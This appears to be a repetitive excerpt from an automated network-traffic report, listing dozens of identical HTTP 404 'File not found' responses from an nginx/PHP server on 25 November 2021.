Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:51 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:52 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:52 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:53 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:54 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:54 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:55 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:55 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:56 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:56 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:57 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:57 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:58 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:58 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:59 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:59 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:00 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:00 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:01 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:02 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:02 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:03 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:03 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:04 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:04 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:05 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:05 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:06 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:06 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:07 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:07 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:08 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:08 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:09 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:09 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:10 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:10 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:11 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:11 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:12 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:12 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:13 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:13 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:14 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:14 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:15 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:15 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:16 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:16 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:17 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:17 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:18 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:18 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:19 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:19 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:20 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:20 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:21 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:21 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:22 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:22 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:23 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:23 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:24 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:24 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:25 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:25 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:26 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
